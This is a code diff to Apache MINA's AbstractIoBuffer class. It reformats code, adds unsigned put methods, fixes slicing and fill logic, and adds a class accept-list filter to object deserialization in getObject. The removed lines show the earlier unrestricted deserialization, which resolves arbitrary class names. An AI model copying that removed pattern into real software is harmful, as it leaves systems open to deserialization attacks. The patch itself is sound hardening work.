implementations could extend this class and implement their + * own buffer management mechanism. * * @author Apache MINA Project * @see IoBufferAllocator @@ -78,6 +90,8 @@ public abstract class AbstractIoBuffer extends IoBuffer { /** A mask for an int */ private static final long INT_MASK = 0xFFFFFFFFL; + private final List acceptMatchers = new ArrayList<>(); + /** * We don't have any access to Buffer.markValue(), so we need to track it down, * which will cause small extra overhead. @@ -87,7 +101,7 @@ public abstract class AbstractIoBuffer extends IoBuffer { /** * Creates a new parent buffer. * - * @param allocator The allocator to use to create new buffers + * @param allocator The allocator to use to create new buffers * @param initialCapacity The initial buffer capacity when created */ protected AbstractIoBuffer(IoBufferAllocator allocator, int initialCapacity) { @@ -98,13 +112,13 @@ protected AbstractIoBuffer(IoBufferAllocator allocator, int initialCapacity) { } /** - * Creates a new derived buffer. A derived buffer uses an existing - * buffer properties - the allocator and capacity -. + * Creates a new derived buffer. A derived buffer uses an existing buffer + * properties - the allocator and capacity -. * * @param parent The buffer we get the properties from */ protected AbstractIoBuffer(AbstractIoBuffer parent) { - setAllocator(parent.getAllocator()); + setAllocator(IoBuffer.getAllocator()); this.recapacityAllowed = false; this.derived = true; this.minimumCapacity = parent.minimumCapacity; @@ -147,8 +161,7 @@ public final int minimumCapacity() { @Override public final IoBuffer minimumCapacity(int minimumCapacity) { if (minimumCapacity < 0) { - throw new IllegalArgumentException("minimumCapacity: " - + minimumCapacity); + throw new IllegalArgumentException("minimumCapacity: " + minimumCapacity); } this.minimumCapacity = minimumCapacity; return this; @@ -168,8 +181,7 @@ public final int capacity() { @Override public final IoBuffer capacity(int newCapacity) { if (!recapacityAllowed) { - throw new IllegalStateException( - "Derived buffers and their parent can't be expanded."); + throw new IllegalStateException("Derived buffers and their parent can't be expanded."); } // Allocate a new buffer and transfer all settings to it. @@ -182,8 +194,7 @@ public final IoBuffer capacity(int newCapacity) { //// Reallocate. ByteBuffer oldBuf = buf(); - ByteBuffer newBuf = getAllocator().allocateNioBuffer(newCapacity, - isDirect()); + ByteBuffer newBuf = getAllocator().allocateNioBuffer(newCapacity, isDirect()); oldBuf.clear(); newBuf.put(oldBuf); buf(newBuf); @@ -231,8 +242,7 @@ public final boolean isDerived() { @Override public final IoBuffer setAutoExpand(boolean autoExpand) { if (!recapacityAllowed) { - throw new IllegalStateException( - "Derived buffers and their parent can't be expanded."); + throw new IllegalStateException("Derived buffers and their parent can't be expanded."); } this.autoExpand = autoExpand; return this; @@ -244,8 +254,7 @@ public final IoBuffer setAutoExpand(boolean autoExpand) { @Override public final IoBuffer setAutoShrink(boolean autoShrink) { if (!recapacityAllowed) { - throw new IllegalStateException( - "Derived buffers and their parent can't be shrinked."); + throw new IllegalStateException("Derived buffers and their parent can't be shrinked."); } this.autoShrink = autoShrink; return this; @@ -273,12 +282,12 @@ public final IoBuffer expand(int pos, int expectedRemaining) { private IoBuffer expand(int pos, int expectedRemaining, boolean autoExpand) { if (!recapacityAllowed) { - throw new IllegalStateException( - "Derived buffers and their parent can't be expanded."); + throw new IllegalStateException("Derived buffers and their parent can't be expanded."); } int end = pos + expectedRemaining; int newCapacity; + if (autoExpand) { newCapacity = IoBuffer.normalizeCapacity(end); } else { @@ -303,24 +312,30 @@ private IoBuffer expand(int pos, int expectedRemaining, boolean autoExpand) { public final IoBuffer shrink() { if (!recapacityAllowed) { - throw new IllegalStateException( - "Derived buffers and their parent can't be expanded."); + throw new IllegalStateException("Derived buffers and their parent can't be expanded."); } int position = position(); int capacity = capacity(); int limit = limit(); + if (capacity == limit) { return this; } int newCapacity = capacity; int minCapacity = Math.max(minimumCapacity, limit); + for (;;) { if (newCapacity >>> 1 < minCapacity) { break; } + newCapacity >>>= 1; + + if (minCapacity == 0) { + break; + } } newCapacity = Math.max(minCapacity, newCapacity); @@ -335,8 +350,7 @@ public final IoBuffer shrink() { //// Reallocate. ByteBuffer oldBuf = buf(); - ByteBuffer newBuf = getAllocator() - .allocateNioBuffer(newCapacity, isDirect()); + ByteBuffer newBuf = getAllocator().allocateNioBuffer(newCapacity, isDirect()); oldBuf.position(0); oldBuf.limit(limit); newBuf.put(oldBuf); @@ -366,9 +380,11 @@ public final int position() { public final IoBuffer position(int newPosition) { autoExpand(newPosition, 0); buf().position(newPosition); + if (mark > newPosition) { mark = -1; } + return this; } @@ -398,8 +414,10 @@ public final IoBuffer limit(int newLimit) { */ @Override public final IoBuffer mark() { - buf().mark(); - mark = position(); + ByteBuffer byteBuffer = buf(); + byteBuffer.mark(); + mark = byteBuffer.position(); + return this; } @@ -473,7 +491,9 @@ public final IoBuffer rewind() { */ @Override public final int remaining() { - return limit() - position(); + ByteBuffer byteBuffer = buf(); + + return byteBuffer.limit() - byteBuffer.position(); } /** @@ -481,7 +501,9 @@ public final int remaining() { */ @Override public final boolean hasRemaining() { - return limit() > position(); + ByteBuffer byteBuffer = buf(); + + return byteBuffer.limit() > byteBuffer.position(); } /** @@ -510,6 +532,86 @@ public final IoBuffer put(byte b) { return this; } + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsigned(byte value) { + autoExpand(1); + buf().put((byte) (value & 0xff)); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsigned(int index, byte value) { + autoExpand(index, 1); + buf().put(index, (byte) (value & 0xff)); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsigned(short value) { + autoExpand(1); + buf().put((byte) (value & 0x00ff)); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsigned(int index, short value) { + autoExpand(index, 1); + buf().put(index, (byte) (value & 0x00ff)); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsigned(int value) { + autoExpand(1); + buf().put((byte) (value & 0x000000ff)); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsigned(int index, int value) { + autoExpand(index, 1); + buf().put(index, (byte) (value & 0x000000ff)); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsigned(long value) { + autoExpand(1); + buf().put((byte) (value & 0x00000000000000ffL)); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsigned(int index, long value) { + autoExpand(index, 1); + buf().put(index, (byte) (value & 0x00000000000000ffL)); + return this; + } + /** * {@inheritDoc} */ @@ -577,8 +679,7 @@ public final IoBuffer compact() { return this; } - if (isAutoShrink() && remaining <= capacity >>> 2 - && capacity > minimumCapacity) { + if (isAutoShrink() && remaining <= capacity >>> 2 && capacity > minimumCapacity) { int newCapacity = capacity; int minCapacity = Math.max(minimumCapacity, remaining << 1); for (;;) { @@ -601,14 +702,12 @@ public final IoBuffer compact() { //// Sanity check. if (remaining > newCapacity) { throw new IllegalStateException( - "The amount of the remaining bytes is greater than " - + "the new capacity."); + "The amount of the remaining bytes is greater than " + "the new capacity."); } //// Reallocate. ByteBuffer oldBuf = buf(); - ByteBuffer newBuf = getAllocator().allocateNioBuffer(newCapacity, - isDirect()); + ByteBuffer newBuf = getAllocator().allocateNioBuffer(newCapacity, isDirect()); newBuf.put(oldBuf); buf(newBuf); @@ -744,6 +843,158 @@ public final IoBuffer putInt(int value) { return this; } + /** + * {@inheritDoc} + */ + @Override + public final IoBuffer putUnsignedInt(byte value) { + autoExpand(4); + buf().putInt(value & 0x00ff); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public final IoBuffer putUnsignedInt(int index, byte value) { + autoExpand(index, 4); + buf().putInt(index, value & 0x00ff); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public final IoBuffer putUnsignedInt(short value) { + autoExpand(4); + buf().putInt(value & 0x0000ffff); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public final IoBuffer putUnsignedInt(int index, short value) { + autoExpand(index, 4); + buf().putInt(index, value & 0x0000ffff); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public final IoBuffer putUnsignedInt(int value) { + return putInt(value); + } + + /** + * {@inheritDoc} + */ + @Override + public final IoBuffer putUnsignedInt(int index, int value) { + return putInt(index, value); + } + + /** + * {@inheritDoc} + */ + @Override + public final IoBuffer putUnsignedInt(long value) { + autoExpand(4); + buf().putInt((int) (value & 0x00000000ffffffff)); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public final IoBuffer putUnsignedInt(int index, long value) { + autoExpand(index, 4); + buf().putInt(index, (int) (value & 0x00000000ffffffffL)); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public final IoBuffer putUnsignedShort(byte value) { + autoExpand(2); + buf().putShort((short) (value & 0x00ff)); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public final IoBuffer putUnsignedShort(int index, byte value) { + autoExpand(index, 2); + buf().putShort(index, (short) (value & 0x00ff)); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public final IoBuffer putUnsignedShort(short value) { + return putShort(value); + } + + /** + * {@inheritDoc} + */ + @Override + public final IoBuffer putUnsignedShort(int index, short value) { + return putShort(index, value); + } + + /** + * {@inheritDoc} + */ + @Override + public final IoBuffer putUnsignedShort(int value) { + autoExpand(2); + buf().putShort((short) value); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public final IoBuffer putUnsignedShort(int index, int value) { + autoExpand(index, 2); + buf().putShort(index, (short) value); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public final IoBuffer putUnsignedShort(long value) { + autoExpand(2); + buf().putShort((short) (value)); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public final IoBuffer putUnsignedShort(int index, long value) { + autoExpand(index, 2); + buf().putShort(index, (short) (value)); + return this; + } + /** * {@inheritDoc} */ @@ -912,8 +1163,10 @@ public final IoBuffer asReadOnlyBuffer() { } /** - * Implement this method to return the unexpandable read only version of - * this buffer. + * Implement this method to return the unexpandable read only version of this + * buffer. + * + * @return the IoBoffer instance */ protected abstract IoBuffer asReadOnlyBuffer0(); @@ -927,8 +1180,9 @@ public final IoBuffer duplicate() { } /** - * Implement this method to return the unexpandable duplicate of this - * buffer. + * Implement this method to return the unexpandable duplicate of this buffer. + * + * @return the IoBoffer instance */ protected abstract IoBuffer duplicate0(); @@ -949,27 +1203,29 @@ public final IoBuffer getSlice(int index, int length) { if (length < 0) { throw new IllegalArgumentException("length: " + length); } - + + int pos = position(); int limit = limit(); - + if (index > limit) { throw new IllegalArgumentException("index: " + index); } - + int endIndex = index + length; - if (capacity() < endIndex) { - throw new IndexOutOfBoundsException("index + length (" + endIndex - + ") is greater " + "than capacity (" + capacity() + ")."); + if (endIndex > limit) { + throw new IndexOutOfBoundsException( + "index + length (" + endIndex + ") is greater " + "than limit (" + limit + ")."); } clear(); - position(index); limit(endIndex); + position(index); IoBuffer slice = slice(); - position(index); limit(limit); + position(pos); + return slice; } @@ -985,8 +1241,8 @@ public final IoBuffer getSlice(int length) { int limit = limit(); int nextPos = pos + length; if (limit < nextPos) { - throw new IndexOutOfBoundsException("position + length (" + nextPos - + ") is greater " + "than limit (" + limit + ")."); + throw new IndexOutOfBoundsException( + "position + length (" + nextPos + ") is greater " + "than limit (" + limit + ")."); } limit(pos + length); @@ -997,8 +1253,9 @@ public final IoBuffer getSlice(int length) { } /** - * Implement this method to return the unexpandable slice of this - * buffer. + * Implement this method to return the unexpandable slice of this buffer. + * + * @return the IoBoffer instance */ protected abstract IoBuffer slice0(); @@ -1043,6 +1300,7 @@ public boolean equals(Object o) { /** * {@inheritDoc} */ + @Override public int compareTo(IoBuffer that) { int n = this.position() + Math.min(this.remaining(), that.remaining()); for (int i = this.position(), j = that.position(); i < n; i++, j++) { @@ -1071,6 +1329,8 @@ public String toString() { } else { buf.append("HeapBuffer"); } + buf.append("@"); + buf.append(Integer.toHexString(super.hashCode())); buf.append("[pos="); buf.append(position()); buf.append(" lim="); @@ -1184,6 +1444,7 @@ public int getUnsignedMediumInt(int index) { int b1 = getUnsigned(index); int b2 = getUnsigned(index + 1); int b3 = getUnsigned(index + 2); + if (ByteOrder.BIG_ENDIAN.equals(order())) { return b1 << 16 | b2 << 8 | b3; } @@ -1191,9 +1452,6 @@ public int getUnsignedMediumInt(int index) { return b3 << 16 | b2 << 8 | b1; } - /** - * {@inheritDoc} - */ private int getMediumInt(byte b1, byte b2, byte b3) { int ret = b1 << 16 & 0xff0000 | b2 << 8 & 0xff00 | b3 & 0xff; // Check to see if the medium int is negative (high bit in b1 set) @@ -1301,8 +1559,7 @@ public long skip(long n) { if (n > Integer.MAX_VALUE) { bytes = AbstractIoBuffer.this.remaining(); } else { - bytes = Math - .min(AbstractIoBuffer.this.remaining(), (int) n); + bytes = Math.min(AbstractIoBuffer.this.remaining(), (int) n); } AbstractIoBuffer.this.skip(bytes); return bytes; @@ -1332,29 +1589,14 @@ public void write(int b) { * {@inheritDoc} */ @Override - public String getHexDump() { - return this.getHexDump(Integer.MAX_VALUE); - } - - /** - * {@inheritDoc} - */ - @Override - public String getHexDump(int lengthLimit) { - return IoBufferHexDumper.getHexdump(this, lengthLimit); - } - - /** - * {@inheritDoc} - */ - @Override - public String getString(CharsetDecoder decoder) - throws CharacterCodingException { + public String getString(CharsetDecoder decoder) throws CharacterCodingException { if (!hasRemaining()) { return ""; } - boolean utf16 = decoder.charset().name().startsWith("UTF-16"); + boolean utf16 = decoder.charset().equals(StandardCharsets.UTF_16) + || decoder.charset().equals(StandardCharsets.UTF_16BE) + || decoder.charset().equals(StandardCharsets.UTF_16LE); int oldPos = position(); int oldLimit = limit(); @@ -1427,8 +1669,7 @@ public String getString(CharsetDecoder decoder) } if (cr.isOverflow()) { - CharBuffer o = CharBuffer.allocate(out.capacity() - + expectedLength); + CharBuffer o = CharBuffer.allocate(out.capacity() + expectedLength); out.flip(); o.put(out); out = o; @@ -1452,8 +1693,7 @@ public String getString(CharsetDecoder decoder) * {@inheritDoc} */ @Override - public String getString(int fieldSize, CharsetDecoder decoder) - throws CharacterCodingException { + public String getString(int fieldSize, CharsetDecoder decoder) throws CharacterCodingException { checkFieldSize(fieldSize); if (fieldSize == 0) { @@ -1464,7 +1704,9 @@ public String getString(int fieldSize, CharsetDecoder decoder) return ""; } - boolean utf16 = decoder.charset().name().startsWith("UTF-16"); + boolean utf16 = decoder.charset().equals(StandardCharsets.UTF_16) + || decoder.charset().equals(StandardCharsets.UTF_16BE) + || decoder.charset().equals(StandardCharsets.UTF_16LE); if (utf16 && (fieldSize & 1) != 0) { throw new IllegalArgumentException("fieldSize is not even."); @@ -1528,8 +1770,7 @@ public String getString(int fieldSize, CharsetDecoder decoder) } if (cr.isOverflow()) { - CharBuffer o = CharBuffer.allocate(out.capacity() - + expectedLength); + CharBuffer o = CharBuffer.allocate(out.capacity() + expectedLength); out.flip(); o.put(out); out = o; @@ -1553,8 +1794,7 @@ public String getString(int fieldSize, CharsetDecoder decoder) * {@inheritDoc} */ @Override - public IoBuffer putString(CharSequence val, CharsetEncoder encoder) - throws CharacterCodingException { + public IoBuffer putString(CharSequence val, CharsetEncoder encoder) throws CharacterCodingException { if (val.length() == 0) { return this; } @@ -1579,20 +1819,17 @@ public IoBuffer putString(CharSequence val, CharsetEncoder encoder) if (isAutoExpand()) { switch (expandedState) { case 0: - autoExpand((int) Math.ceil(in.remaining() - * encoder.averageBytesPerChar())); + autoExpand((int) Math.ceil(in.remaining() * encoder.averageBytesPerChar())); expandedState++; break; case 1: - autoExpand((int) Math.ceil(in.remaining() - * encoder.maxBytesPerChar())); + autoExpand((int) Math.ceil(in.remaining() * encoder.maxBytesPerChar())); expandedState++; break; default: - throw new RuntimeException("Expanded by " - + (int) Math.ceil(in.remaining() - * encoder.maxBytesPerChar()) - + " but that wasn't enough for '" + val + "'"); + throw new IllegalArgumentException( + "Expanded by " + (int) Math.ceil(in.remaining() * encoder.maxBytesPerChar()) + + " but that wasn't enough for '" + val + "'"); } continue; } @@ -1608,8 +1845,7 @@ public IoBuffer putString(CharSequence val, CharsetEncoder encoder) * {@inheritDoc} */ @Override - public IoBuffer putString(CharSequence val, int fieldSize, - CharsetEncoder encoder) throws CharacterCodingException { + public IoBuffer putString(CharSequence val, int fieldSize, CharsetEncoder encoder) throws CharacterCodingException { checkFieldSize(fieldSize); if (fieldSize == 0) { @@ -1618,7 +1854,9 @@ public IoBuffer putString(CharSequence val, int fieldSize, autoExpand(fieldSize); - boolean utf16 = encoder.charset().name().startsWith("UTF-16"); + boolean utf16 = encoder.charset().equals(StandardCharsets.UTF_16) + || encoder.charset().equals(StandardCharsets.UTF_16BE) + || encoder.charset().equals(StandardCharsets.UTF_16LE); if (utf16 && (fieldSize & 1) != 0) { throw new IllegalArgumentException("fieldSize is not even."); @@ -1679,24 +1917,22 @@ public IoBuffer putString(CharSequence val, int fieldSize, * {@inheritDoc} */ @Override - public String getPrefixedString(CharsetDecoder decoder) - throws CharacterCodingException { + public String getPrefixedString(CharsetDecoder decoder) throws CharacterCodingException { return getPrefixedString(2, decoder); } /** - * Reads a string which has a length field before the actual - * encoded string, using the specified decoder and returns it. + * Reads a string which has a length field before the actual encoded string, + * using the specified decoder and returns it. * * @param prefixLength the length of the length field (1, 2, or 4) - * @param decoder the decoder to use for decoding the string + * @param decoder the decoder to use for decoding the string * @return the prefixed string * @throws CharacterCodingException when decoding fails * @throws BufferUnderflowException when there is not enough data available */ @Override - public String getPrefixedString(int prefixLength, CharsetDecoder decoder) - throws CharacterCodingException { + public String getPrefixedString(int prefixLength, CharsetDecoder decoder) throws CharacterCodingException { if (!prefixedDataAvailable(prefixLength)) { throw new BufferUnderflowException(); } @@ -1719,11 +1955,12 @@ public String getPrefixedString(int prefixLength, CharsetDecoder decoder) return ""; } - boolean utf16 = decoder.charset().name().startsWith("UTF-16"); + boolean utf16 = decoder.charset().equals(StandardCharsets.UTF_16) + || decoder.charset().equals(StandardCharsets.UTF_16BE) + || decoder.charset().equals(StandardCharsets.UTF_16LE); if (utf16 && (fieldSize & 1) != 0) { - throw new BufferDataException( - "fieldSize is not even for a UTF-16 string."); + throw new BufferDataException("fieldSize is not even for a UTF-16 string."); } int oldLimit = limit(); @@ -1751,8 +1988,7 @@ public String getPrefixedString(int prefixLength, CharsetDecoder decoder) } if (cr.isOverflow()) { - CharBuffer o = CharBuffer.allocate(out.capacity() - + expectedLength); + CharBuffer o = CharBuffer.allocate(out.capacity() + expectedLength); out.flip(); o.put(out); out = o; @@ -1771,8 +2007,7 @@ public String getPrefixedString(int prefixLength, CharsetDecoder decoder) * {@inheritDoc} */ @Override - public IoBuffer putPrefixedString(CharSequence in, CharsetEncoder encoder) - throws CharacterCodingException { + public IoBuffer putPrefixedString(CharSequence in, CharsetEncoder encoder) throws CharacterCodingException { return putPrefixedString(in, 2, 0, encoder); } @@ -1780,8 +2015,8 @@ public IoBuffer putPrefixedString(CharSequence in, CharsetEncoder encoder) * {@inheritDoc} */ @Override - public IoBuffer putPrefixedString(CharSequence in, int prefixLength, - CharsetEncoder encoder) throws CharacterCodingException { + public IoBuffer putPrefixedString(CharSequence in, int prefixLength, CharsetEncoder encoder) + throws CharacterCodingException { return putPrefixedString(in, prefixLength, 0, encoder); } @@ -1789,8 +2024,7 @@ public IoBuffer putPrefixedString(CharSequence in, int prefixLength, * {@inheritDoc} */ @Override - public IoBuffer putPrefixedString(CharSequence in, int prefixLength, - int padding, CharsetEncoder encoder) + public IoBuffer putPrefixedString(CharSequence in, int prefixLength, int padding, CharsetEncoder encoder) throws CharacterCodingException { return putPrefixedString(in, prefixLength, padding, (byte) 0, encoder); } @@ -1799,9 +2033,8 @@ public IoBuffer putPrefixedString(CharSequence in, int prefixLength, * {@inheritDoc} */ @Override - public IoBuffer putPrefixedString(CharSequence val, int prefixLength, - int padding, byte padValue, CharsetEncoder encoder) - throws CharacterCodingException { + public IoBuffer putPrefixedString(CharSequence val, int prefixLength, int padding, byte padValue, + CharsetEncoder encoder) throws CharacterCodingException { int maxLength; switch (prefixLength) { case 1: @@ -1818,8 +2051,7 @@ public IoBuffer putPrefixedString(CharSequence val, int prefixLength, } if (val.length() > maxLength) { - throw new IllegalArgumentException( - "The specified string is too long."); + throw new IllegalArgumentException("The specified string is too long."); } if (val.length() == 0) { switch (prefixLength) { @@ -1868,8 +2100,7 @@ public IoBuffer putPrefixedString(CharSequence val, int prefixLength, } if (position() - oldPos > maxLength) { - throw new IllegalArgumentException( - "The specified string is too long."); + throw new IllegalArgumentException("The specified string is too long."); } if (cr.isUnderflow()) { @@ -1879,20 +2110,17 @@ public IoBuffer putPrefixedString(CharSequence val, int prefixLength, if (isAutoExpand()) { switch (expandedState) { case 0: - autoExpand((int) Math.ceil(in.remaining() - * encoder.averageBytesPerChar())); + autoExpand((int) Math.ceil(in.remaining() * encoder.averageBytesPerChar())); expandedState++; break; case 1: - autoExpand((int) Math.ceil(in.remaining() - * encoder.maxBytesPerChar())); + autoExpand((int) Math.ceil(in.remaining() * encoder.maxBytesPerChar())); expandedState++; break; default: - throw new RuntimeException("Expanded by " - + (int) Math.ceil(in.remaining() - * encoder.maxBytesPerChar()) - + " but that wasn't enough for '" + val + "'"); + throw new IllegalArgumentException( + "Expanded by " + (int) Math.ceil(in.remaining() * encoder.maxBytesPerChar()) + + " but that wasn't enough for '" + val + "'"); } continue; } @@ -1931,54 +2159,91 @@ public Object getObject() throws ClassNotFoundException { * {@inheritDoc} */ @Override - public Object getObject(final ClassLoader classLoader) - throws ClassNotFoundException { + public Object getObject(final ClassLoader classLoader) throws ClassNotFoundException { if (!prefixedDataAvailable(4)) { throw new BufferUnderflowException(); } int length = getInt(); if (length <= 4) { - throw new BufferDataException( - "Object length should be greater than 4: " + length); + throw new BufferDataException("Object length should be greater than 4: " + length); } int oldLimit = limit(); limit(position() + length); - try { - ObjectInputStream in = new ObjectInputStream(asInputStream()) { - @Override - protected ObjectStreamClass readClassDescriptor() - throws IOException, ClassNotFoundException { - int type = read(); - if (type < 0) { - throw new EOFException(); - } - switch (type) { - case 0: // Primitive types + + try (ObjectInputStream in = new ObjectInputStream(asInputStream()) { + @Override + protected ObjectStreamClass readClassDescriptor() throws IOException, ClassNotFoundException { + int type = read(); + + if (type < 0) { + throw new EOFException(); + } + + switch (type) { + case 0: // NON-Serializable class or Primitive types return super.readClassDescriptor(); - case 1: // Non-primitive types + + case 1: // Serializable class String className = readUTF(); - Class clazz = Class.forName(className, true, - classLoader); - return ObjectStreamClass.lookup(clazz); + + // Only accept classes that are listed as acceptable + // Apply class filter BEFORE calling Class.forName + if (!acceptMatchers.stream().anyMatch(m -> m.matches(className))) { + throw new ClassNotFoundException("Class not in accept list " + className); + } + + // Use initialize=false to prevent static block execution during class loading + return super.readClassDescriptor(); + default: - throw new StreamCorruptedException( - "Unexpected class descriptor type: " + type); - } + throw new StreamCorruptedException("Unexpected class descriptor type: " + type); } + } + + @Override + protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { + String className = desc.getName(); + + // apply acceptMatchers filter before any Class.forName() call, + // regardless of whether forClass() is null or not + if (!acceptMatchers.stream().anyMatch(m -> m.matches(className))) { + throw new ClassNotFoundException("Class not in accept list " + className); + } + + Class clazz = desc.forClass(); + + if (clazz != null) { + return clazz; + } + + try { + return Class.forName(className, false, classLoader); + } catch (ClassNotFoundException ex) { + return super.resolveClass(desc); + } + } + + @Override + protected Class resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException { + Class[] classes = new Class[interfaces.length]; + int i=0; - @Override - protected Class resolveClass(ObjectStreamClass desc) - throws IOException, ClassNotFoundException { - String name = desc.getName(); - try { - return Class.forName(name, false, classLoader); - } catch (ClassNotFoundException ex) { - return super.resolveClass(desc); + for (String interfaceName : interfaces) { + if (!acceptMatchers.stream().anyMatch(m -> m.matches(interfaceName))) { + throw new ClassNotFoundException("Interface not in accept list " + interfaceName); } + + // Use Class.forName(name, false, loader) — initialize=false — and load via + // the configured classLoader, NOT latestUserDefinedLoader(). + classes[i++] = Class.forName(interfaceName, false, classLoader); } - }; + + + return Proxy.getProxyClass(classLoader, classes); + } + }) { return in.readObject(); } catch (IOException e) { throw new BufferDataException(e); @@ -1994,20 +2259,23 @@ protected Class resolveClass(ObjectStreamClass desc) public IoBuffer putObject(Object o) { int oldPos = position(); skip(4); // Make a room for the length field. - try { - ObjectOutputStream out = new ObjectOutputStream(asOutputStream()) { - @Override - protected void writeClassDescriptor(ObjectStreamClass desc) - throws IOException { - if (desc.forClass().isPrimitive()) { - write(0); - super.writeClassDescriptor(desc); - } else { - write(1); - writeUTF(desc.getName()); - } + + try (ObjectOutputStream out = new ObjectOutputStream(asOutputStream()) { + @Override + protected void writeClassDescriptor(ObjectStreamClass desc) throws IOException { + Class clazz = desc.forClass(); + + if (clazz.isArray() || clazz.isPrimitive() || !Serializable.class.isAssignableFrom(clazz)) { + write(0); + } else { + // Serializable class + write(1); + writeUTF(desc.getName()); } - }; + + super.writeClassDescriptor(desc); + } + }) { out.writeObject(o); out.flush(); } catch (IOException e) { @@ -2110,10 +2378,8 @@ public IoBuffer fill(byte value, int size) { int r = size & 7; if (q > 0) { - int intValue = value | value << 8 | value << 16 | value << 24; - long longValue = intValue; - longValue <<= 32; - longValue |= intValue; + int intValue = value & 0x000000FF | (value << 8) & 0x0000FF00 | (value << 16) & 0x00FF0000 | value << 24; + long longValue = intValue & 0x00000000FFFFFFFFL | (long) intValue << 32; for (int i = q; i > 0; i--) { putLong(longValue); @@ -2124,7 +2390,7 @@ public IoBuffer fill(byte value, int size) { r = r & 3; if (q > 0) { - int intValue = value | value << 8 | value << 16 | value << 24; + int intValue = value & 0x000000FF | (value << 8) & 0x0000FF00 | (value << 16) & 0x00FF0000 | value << 24; putInt(intValue); } @@ -2132,7 +2398,7 @@ public IoBuffer fill(byte value, int size) { r = r & 1; if (q > 0) { - short shortValue = (short) (value | value << 8); + short shortValue = (short) (value & 0x000FF | value << 8); putShort(shortValue); } @@ -2251,6 +2517,7 @@ public > E getEnumInt(Class enumClass) { /** * {@inheritDoc} */ + @Override public > E getEnumInt(int index, Class enumClass) { return toEnum(enumClass, getInt(index)); } @@ -2261,8 +2528,7 @@ public > E getEnumInt(int index, Class enumClass) { @Override public IoBuffer putEnum(Enum e) { if (e.ordinal() > BYTE_MASK) { - throw new IllegalArgumentException(enumConversionErrorMessage(e, - "byte")); + throw new IllegalArgumentException(enumConversionErrorMessage(e, "byte")); } return put((byte) e.ordinal()); } @@ -2273,8 +2539,7 @@ public IoBuffer putEnum(Enum e) { @Override public IoBuffer putEnum(int index, Enum e) { if (e.ordinal() > BYTE_MASK) { - throw new IllegalArgumentException(enumConversionErrorMessage(e, - "byte")); + throw new IllegalArgumentException(enumConversionErrorMessage(e, "byte")); } return put(index, (byte) e.ordinal()); } @@ -2285,8 +2550,7 @@ public IoBuffer putEnum(int index, Enum e) { @Override public IoBuffer putEnumShort(Enum e) { if (e.ordinal() > SHORT_MASK) { - throw new IllegalArgumentException(enumConversionErrorMessage(e, - "short")); + throw new IllegalArgumentException(enumConversionErrorMessage(e, "short")); } return putShort((short) e.ordinal()); } @@ -2297,8 +2561,7 @@ public IoBuffer putEnumShort(Enum e) { @Override public IoBuffer putEnumShort(int index, Enum e) { if (e.ordinal() > SHORT_MASK) { - throw new IllegalArgumentException(enumConversionErrorMessage(e, - "short")); + throw new IllegalArgumentException(enumConversionErrorMessage(e, "short")); } return putShort(index, (short) e.ordinal()); } @@ -2322,23 +2585,21 @@ public IoBuffer putEnumInt(int index, Enum e) { private E toEnum(Class enumClass, int i) { E[] enumConstants = enumClass.getEnumConstants(); if (i > enumConstants.length) { - throw new IndexOutOfBoundsException(String.format( - "%d is too large of an ordinal to convert to the enum %s", - i, enumClass.getName())); + throw new IndexOutOfBoundsException( + String.format("%d is too large of an ordinal to convert to the enum %s", i, enumClass.getName())); } return enumConstants[i]; } private String enumConversionErrorMessage(Enum e, String type) { - return String.format("%s.%s has an ordinal value too large for a %s", e - .getClass().getName(), e.name(), type); + return String.format("%s.%s has an ordinal value too large for a %s", e.getClass().getName(), e.name(), type); } /** * {@inheritDoc} */ @Override - public > EnumSet getEnumSet(Class enumClass) { + public > Set getEnumSet(Class enumClass) { return toEnumSet(enumClass, get() & BYTE_MASK); } @@ -2346,8 +2607,7 @@ public > EnumSet getEnumSet(Class enumClass) { * {@inheritDoc} */ @Override - public > EnumSet getEnumSet(int index, - Class enumClass) { + public > Set getEnumSet(int index, Class enumClass) { return toEnumSet(enumClass, get(index) & BYTE_MASK); } @@ -2355,7 +2615,7 @@ public > EnumSet getEnumSet(int index, * {@inheritDoc} */ @Override - public > EnumSet getEnumSetShort(Class enumClass) { + public > Set getEnumSetShort(Class enumClass) { return toEnumSet(enumClass, getShort() & SHORT_MASK); } @@ -2363,8 +2623,7 @@ public > EnumSet getEnumSetShort(Class enumClass) { * {@inheritDoc} */ @Override - public > EnumSet getEnumSetShort(int index, - Class enumClass) { + public > Set getEnumSetShort(int index, Class enumClass) { return toEnumSet(enumClass, getShort(index) & SHORT_MASK); } @@ -2372,7 +2631,7 @@ public > EnumSet getEnumSetShort(int index, * {@inheritDoc} */ @Override - public > EnumSet getEnumSetInt(Class enumClass) { + public > Set getEnumSetInt(Class enumClass) { return toEnumSet(enumClass, getInt() & INT_MASK); } @@ -2380,8 +2639,7 @@ public > EnumSet getEnumSetInt(Class enumClass) { * {@inheritDoc} */ @Override - public > EnumSet getEnumSetInt(int index, - Class enumClass) { + public > Set getEnumSetInt(int index, Class enumClass) { return toEnumSet(enumClass, getInt(index) & INT_MASK); } @@ -2389,7 +2647,7 @@ public > EnumSet getEnumSetInt(int index, * {@inheritDoc} */ @Override - public > EnumSet getEnumSetLong(Class enumClass) { + public > Set getEnumSetLong(Class enumClass) { return toEnumSet(enumClass, getLong()); } @@ -2397,8 +2655,7 @@ public > EnumSet getEnumSetLong(Class enumClass) { * {@inheritDoc} */ 